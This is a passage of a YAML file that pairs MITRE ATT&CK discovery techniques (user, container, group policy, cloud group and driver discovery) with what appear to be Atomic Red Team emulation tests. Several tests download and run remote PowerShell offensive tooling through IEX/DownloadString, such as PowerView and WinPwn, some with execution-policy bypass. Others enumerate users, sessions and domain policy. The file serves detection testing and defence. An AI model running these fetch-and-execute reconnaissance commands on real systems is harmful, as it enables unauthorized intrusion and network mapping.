Infrastructure Devices 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- `System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'Active Directory: Active Directory Object Access' - 'Process: OS API Execution' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' - 'Windows Registry: Windows Registry Key Access' - 'File: File Access' - 'Process: Process Access' type: attack-pattern id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 created: '2017-05-31T21:30:35.733Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1033 external_id: T1033 - source_name: show_ssh_users_cmd_cisco description: 'Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.' url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018 description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1033 atomic_tests: - name: System Owner/User Discovery auto_generated_guid: 4c4959bf-addf-4b4a-be86-8d09cc1857aa description: "Identify System owner or users on an endpoint.\n\nUpon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. \nAdditionally, two files will be written to disk - computers.txt and usernames.txt.\n" supported_platforms: - windows input_arguments: computer_name: description: Name of remote computer type: string default: localhost executor: command: | cmd.exe /C whoami wmic useraccount get /ALL quser /SERVER:"#{computer_name}" quser qwinsta.exe /server:#{computer_name} qwinsta.exe for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt name: command_prompt - name: System Owner/User Discovery auto_generated_guid: 2a9b677d-a230-44f4-ad86-782df1ef108c description: | Identify System owner or users on an endpoint Upon successful execution, sh will stdout list of usernames. supported_platforms: - linux - macos executor: command: | users w who name: sh - name: Find computers where user has session - Stealth mode (PowerView) auto_generated_guid: 29857f27-a36f-4f7e-8084-4557cd6207ca description: Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed. supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose name: powershell - name: User Discovery With Env Vars PowerShell Script auto_generated_guid: dcb6cdee-1fb0-4087-8bf8-88cfd136ba51 description: Use the PowerShell environment variables to identify the current logged user. supported_platforms: - windows executor: command: "[System.Environment]::UserName | Out-File -FilePath .\\CurrentactiveUser.txt \n$env:UserName | Out-File -FilePath .\\CurrentactiveUser.txt -Append\n" cleanup_command: 'Remove-Item -Path .\CurrentactiveUser.txt -Force ' name: powershell - name: GetCurrent User with PowerShell Script auto_generated_guid: 1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b description: Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user. supported_platforms: - windows executor: command: "[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\CurrentUserObject.txt\n" cleanup_command: 'Remove-Item -Path .\CurrentUserObject.txt -Force ' name: powershell - name: System Discovery - SocGholish whoami auto_generated_guid: 3d257a03-eb80-41c5-b744-bb37ac7f65c7 description: "SocGholish performs whoami discovery commands and outputs the results to a tmp file. \nThe test will generate a filename similar to the random one generated during execution and write the file to AppData\\Temp.\n\nReference: https://redcanary.com/threat-detection-report/threats/socgholish/\n" supported_platforms: - windows input_arguments: output_path: description: Location of output file type: string default: "$env:temp" executor: command: | $TokenSet = @{ U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ' N = [Char[]]'0123456789' } $Upper = Get-Random -Count 5 -InputObject $TokenSet.U $Number = Get-Random -Count 5 -InputObject $TokenSet.N $StringSet = $Upper + $Number $rad = (Get-Random -Count 5 -InputObject $StringSet) -join '' $file = "rad" + $rad + ".tmp" whoami.exe /all >> #{output_path}\$file cleanup_command: 'Remove-Item -Path #{output_path}\rad*.tmp -Force ' name: powershell - name: System Owner/User Discovery Using Command Prompt auto_generated_guid: ba38e193-37a6-4c41-b214-61b33277fe36 description: Identify the system owner or current user using native Windows command prompt utilities. supported_platforms: - windows input_arguments: output_file_path: description: Location of output file. type: string default: "$env:temp" executor: name: command_prompt elevation_required: false command: | set file=#{output_file_path}\user_info_%random%.tmp echo Username: %USERNAME% > %file% echo User Domain: %USERDOMAIN% >> %file% net users >> %file% query user >> %file% cleanup_command: 'del #{output_file_path}\\user_info_*.tmp ' T1613: technique: modified: '2023-05-09T14:00:00.188Z' name: Container and Resource Discovery description: "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Vishwas Manral, McAfee - Center for Threat-Informed Defense (CTID) - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Containers x_mitre_version: '1.1' x_mitre_data_sources: - 'Pod: Pod Enumeration' - 'Container: Container Enumeration' type: attack-pattern id: attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336 created: '2021-03-31T14:26:00.848Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1613 external_id: T1613 - source_name: Docker API description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021. url: https://docs.docker.com/engine/api/v1.41/ - source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1613 atomic_tests: - name: Docker Container and Resource Discovery auto_generated_guid: ea2255df-d781-493b-9693-ac328f9afc3f description: Adversaries may attempt to discover containers and other resources that are available within a containers environment. supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify Docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify Docker service is running. prereq_command: 'sudo systemctl status docker --no-pager ' get_prereq_command: "sudo systemctl start docker \n" executor: command: |- docker build -t t1613 $PathtoAtomicsFolder/T1613/src/ docker run --name t1613_container -d -t t1613 docker ps docker stats --no-stream docker inspect $(docker ps -l -q --filter ancestor=t1613) cleanup_command: |- docker stop t1613_container docker rmi -f t1613_container name: sh - name: Podman Container and Resource Discovery auto_generated_guid: fc631702-3f03-4f2b-8d8a-6b3d055580a1 description: Adversaries may attempt to discover containers and other resources that are available within a containers environment. supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify Podman is installed. prereq_command: 'which podman ' get_prereq_command: "if [ \"\" == \"`which podman`\" ]; then echo \"Podman Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install podman ; elif [ -n \"`which yum`\" ]; then sudo yum -y install podman ; elif [ -n \"`which pacman`\" ]; then sudo pacman -Sy podman --noconfirm ; elif [ -n \"`which brew`\" ]; then brew install podman ; else echo \"Unsupported package manager\"; fi ; else echo \"Podman installed\"; fi \n" - description: Verify Podman service is running. prereq_command: 'sudo systemctl status podman --no-pager ' get_prereq_command: "sudo systemctl start podman \n" executor: command: |- podman build -t t1613 $PathtoAtomicsFolder/T1613/src/ podman run --name t1613_container -d -t t1613 podman ps podman stats --no-stream podman inspect $(podman ps -l -q --filter ancestor=t1613) cleanup_command: |- podman stop t1613_container podman rmi -f t1613_container name: sh T1016.001: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc type: attack-pattern created: '2021-03-17T15:28:10.689Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1016.001 url: https://attack.mitre.org/techniques/T1016/001 modified: '2022-04-25T14:00:00.188Z' name: Internet Connection Discovery description: |- Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1069: technique: modified: '2023-05-09T14:00:00.188Z' name: Permission Groups Discovery description: |- Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Daniel Prizmant, Palo Alto Networks - Yuval Avrahami, Palo Alto Networks - Microsoft Threat Intelligence Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers x_mitre_version: '2.5' x_mitre_data_sources: - 'Process: Process Creation' - 'Group: Group Metadata' - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'Group: Group Enumeration' type: attack-pattern id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce created: '2017-05-31T21:30:55.471Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1069 external_id: T1069 - source_name: K8s Authorization Overview description: Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021. url: https://kubernetes.io/docs/reference/access-authn-authz/authorization/ - source_name: CrowdStrike BloodHound April 2018 description: 'Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.' url: https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1069.003: technique: modified: '2023-05-09T14:00:00.188Z' name: Cloud Groups description: |- Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance). Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Regina Elwell - Isif Ibrahima, Mandiant x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.4' x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'Process: Process Creation' - 'Group: Group Metadata' - 'Group: Group Enumeration' type: attack-pattern id: attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2 created: '2020-02-21T21:15:33.222Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1069/003 external_id: T1069.003 - source_name: AWS Get Bucket ACL description: Amazon Web Services. (n.d.). Retrieved May 28, 2021. url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html - source_name: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022 description: 'Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.' url: https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/ - source_name: Black Hills Red Teaming MS AD Azure, 2018 description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ - source_name: Google Cloud Identity API Documentation description: Google. (n.d.). Retrieved March 16, 2021. url: https://cloud.google.com/identity/docs/reference/rest - source_name: Microsoft AZ CLI description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest - source_name: Microsoft Msolrole description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 - source_name: GitHub Raindance description: Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. url: https://github.com/True-Demon/raindance object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1615: technique: modified: '2023-05-09T14:00:00.188Z' name: Group Policy Discovery description: |- Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\SYSVOL\\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup. Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed. x_mitre_platforms: - Windows x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Ted Samuels, Rapid7 - Jonhnathan Ribeiro, 3CORESec, @_w0rk3r x_mitre_data_sources: - 'Script: Script Execution' - 'Active Directory: Active Directory Object Access' - 'Process: Process Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b created: '2021-08-06T13:10:12.916Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1615 external_id: T1615 - source_name: ADSecurity GPO Persistence 2016 description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.' url: https://adsecurity.org/?p=2716 - source_name: Microsoft gpresult description: Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult - source_name: Github PowerShell Empire description: Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. url: https://github.com/PowerShellEmpire/Empire - source_name: TechNet Group Policy Basics description: 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.' url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1615 atomic_tests: - name: Display group policy information via gpresult auto_generated_guid: '0976990f-53b1-4d3f-a185-6df5be429d3b' description: | Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/ Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'gpresult /z ' - name: Get-DomainGPO to display group policy information via PowerView auto_generated_guid: 4e524c4e-0e02-49aa-8df5-93f3f7959b9f description: Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019. supported_platforms: - windows executor: command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO" name: powershell elevation_required: true - name: WinPwn - GPOAudit auto_generated_guid: bc25c04b-841e-4965-855f-d1f645d7ab73 description: Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPOAudit -noninteractive -consoleoutput name: powershell - name: WinPwn - GPORemoteAccessPolicy auto_generated_guid: 7230d01a-0a72-4bd5-9d7f-c6d472bc6a59 description: Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPORemoteAccessPolicy -consoleoutput -noninteractive name: powershell - name: MSFT Get-GPO Cmdlet auto_generated_guid: 52778a8f-a10b-41a4-9eae-52ddb74072bf description: 'The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps' supported_platforms: - windows input_arguments: gpo_output: description: The output of the Get-GPO cmdlet type: string default: "$env:temp\\GPO_Output.txt" gpo_param: description: You can specify a GPO by its display name or by its globally unique identifier (GUID) to get a single GPO, or you can get all the GPOs in the domain through the All parameter type: string default: "-All" dependency_executor_name: powershell dependencies: - description: Add Rsat.ActiveDirectory.DS prereq_command: if(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 } get_prereq_command: Add-WindowsCapability -online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 - description: 'Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.' prereq_command: if(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 } get_prereq_command: Add-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 executor: command: 'Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}' cleanup_command: del $env:temp\GPO_Output.txt -erroraction silentlycontinue name: powershell elevation_required: true T1652: technique: modified: '2023-10-31T14:00:00.188Z' name: Device Driver Discovery description: |- Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)). Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers) On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - ESET x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Access' type: attack-pattern id: attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d created: '2023-03-28T20:14:49.087Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1652 external_id: T1652 - source_name: lsmod man description: Kerrisk, M. (2022, December 18). lsmod(8) — Linux manual page. Retrieved March 28, 2023. url: https://man7.org/linux/man-pages/man8/lsmod.8.html - source_name: Microsoft Registry Drivers description: Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023. url: https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys - source_name: Microsoft EnumDeviceDrivers description: Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023. url: https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers - source_name: Microsoft Driverquery description: Microsoft. (n.d.). driverquery. Retrieved March 28, 2023. url: https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery - source_name: Linux Kernel Programming description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - source_name: modinfo man description: Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023. url: https://linux.die.net/man/8/modinfo object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1652 atomic_tests: - name: Device Driver Discovery auto_generated_guid: 235b30a2-e5b1-441f-9705-be6231c88ddd description: "Displays a list of installed device drivers on the local computer and their properties. Threat actors use this command to enumerate the existing drivers on the computer. \nParameters: \n/v /fo list - Displays verbose output in a list format - the /v parameter is not valid for signed drivers\n/si /fo list - Provides information about signed drivers and outputs it in a list format\n" supported_platforms: - windows executor: command: | driverquery /v /fo list driverquery /si /fo list cleanup_command: name: powershell elevation_required: false T1087.002: technique: modified: '2024-04-15T21:33:57.732Z' name: 'Account Discovery: Domain Account' description: "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - ExtraHop - Miriam Wiesner, @miriamxyra, Microsoft Security x_mitre_deprecated: false x_mitre_detection: | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management 